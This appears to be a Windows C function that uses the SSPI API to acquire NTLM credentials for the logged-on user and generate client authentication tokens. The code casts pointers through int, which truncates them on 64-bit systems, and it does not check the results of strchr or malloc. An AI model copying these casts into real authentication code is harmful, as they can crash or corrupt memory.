BOOL GenClientContext (BYTE *pIn, DWORD cbIn, BYTE *pOut, DWORD *pcbOut, BOOL *pfDone, SEC_CHAR *pszTarget, CredHandle *hCred, struct _SecHandle *hCtxt) { SECURITY_STATUS ss; TimeStamp Lifetime; SecBufferDesc OutBuffDesc; SecBuffer OutSecBuff; SecBufferDesc InBuffDesc; SecBuffer InSecBuff; ULONG ContextAttributes; SEC_CHAR lpPackageName[1024]; _SEC_WINNT_AUTH_IDENTITY auth_data; PCHAR pUserName = NULL; DWORD cbUserName = 0; DWORD dw; if( NULL == pIn ) { GetUserNameExA(NameSamCompatible, pUserName, &cbUserName); pUserName = (PCHAR) malloc (cbUserName); GetUserNameExA(NameSamCompatible, pUserName, &cbUserName); cbUserName = (DWORD)((int)strchr(pUserName,'\\')); *(char *)cbUserName = 0; auth_data.Domain = (unsigned char *)pUserName; auth_data.User = (unsigned char *)((int)cbUserName+1); printf("%s@%s\n",(char *)auth_data.User,(char *)auth_data.Domain); auth_data.UserLength = strlen((char *)auth_data.User); auth_data.DomainLength = strlen((char *)auth_data.Domain); auth_data.Password = NULL; auth_data.PasswordLength = 0; auth_data.Flags = SEC_WINNT_AUTH_IDENTITY_ANSI; lstrcpynA (lpPackageName, "NTLM", 5); ss = AcquireCredentialsHandleA (NULL, lpPackageName, SECPKG_CRED_OUTBOUND, NULL, &auth_data, NULL, NULL, hCred, &Lifetime); if (!(SEC_SUCCESS (ss))) MyHandleError("AcquireCreds failed "); } OutBuffDesc.ulVersion = 0; OutBuffDesc.cBuffers = 1; OutBuffDesc.pBuffers = &OutSecBuff; OutSecBuff.cbBuffer = *pcbOut; OutSecBuff.BufferType = SECBUFFER_TOKEN; OutSecBuff.pvBuffer = pOut; if (pIn) { InBuffDesc.ulVersion = 0; InBuffDesc.cBuffers = 1; InBuffDesc.pBuffers = &InSecBuff; InSecBuff.cbBuffer = cbIn; InSecBuff.BufferType = SECBUFFER_TOKEN; InSecBuff.pvBuffer = pIn; ss = InitializeSecurityContextA (hCred, hCtxt, pszTarget, ISC_REQ_CONFIDENTIALITY, 0, SECURITY_NATIVE_DREP, &InBuffDesc, 0, hCtxt, &OutBuffDesc, &ContextAttributes, &Lifetime); } else { ss = InitializeSecurityContextA (hCred, NULL, pszTarget, ISC_REQ_CONFIDENTIALITY, 0, SECURITY_NATIVE_DREP, NULL, 0, hCtxt, &OutBuffDesc, &ContextAttributes, &Lifetime); } if (!SEC_SUCCESS (ss)) MyHandleError ("InitializeSecurityContext failed " ); *pcbOut = OutSecBuff.cbBuffer; *pfDone = !((SEC_I_CONTINUE_NEEDED == ss) ||(SEC_I_COMPLETE_AND_CONTINUE == ss)); return TRUE; }